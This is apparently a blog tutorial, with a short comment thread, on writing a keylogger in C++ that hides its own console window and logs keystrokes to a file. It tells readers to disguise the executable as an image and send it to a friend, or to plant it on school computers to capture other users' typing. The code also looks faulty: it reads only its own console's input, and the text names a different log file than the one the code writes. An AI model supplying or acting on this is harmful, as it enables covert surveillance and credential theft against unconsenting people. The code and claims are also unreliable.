How to create Keylogger using Visual C++?
Requirements:
Dev C++. Download it from here.Knowledge about Visual C++(need, if you are going to develop the code).
Install Dev C++ in your system and open the Dev C++ compiler.
Go to File > New > Source File.
You can see a blank works space will be there in window.
Now copy the below keylogger code into the blank work space.
[CODE]
# include <stdio.h>
# include <conio.h>
# include <windows.h>
# include <winuser.h>
# include <iostream.h>
int main ( void )
{
int cha;
char ch;
FILE *fptr;
HWND stealth; /*creating stealth (window is not visible)*/
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
while(1)
{
if ( kbhit() )
{
ch = getch();
cha = ch;
fptr = fopen("KEYS.TXT", "a+");
fputc(ch,fptr);
fclose(fptr);
if ( cha == 27 )
{
return 0;
}
}
}
}
Now compile (Ctrl + F9)
Then Execute it.
It will now record whatever you type on the keyboard and will be saved on LOG.txt file.
You can see the LOG.txt file where you save the file.
Bind the exe file with image or any files and send it to your friend.
(0r)
if you have physical access to your college/school system, then copy the exe file in that system and run it. And Viola! You can get the logs of the user that uses that computer.
Hope you all found it useful.
Will post some more codes soon.
Stay Tuned!
Thanks
This comment has been removed by the author.
ReplyDeleteHello John,
DeleteWhat is the problem/error you're facing?
Can you please tell me in detail?
Thanks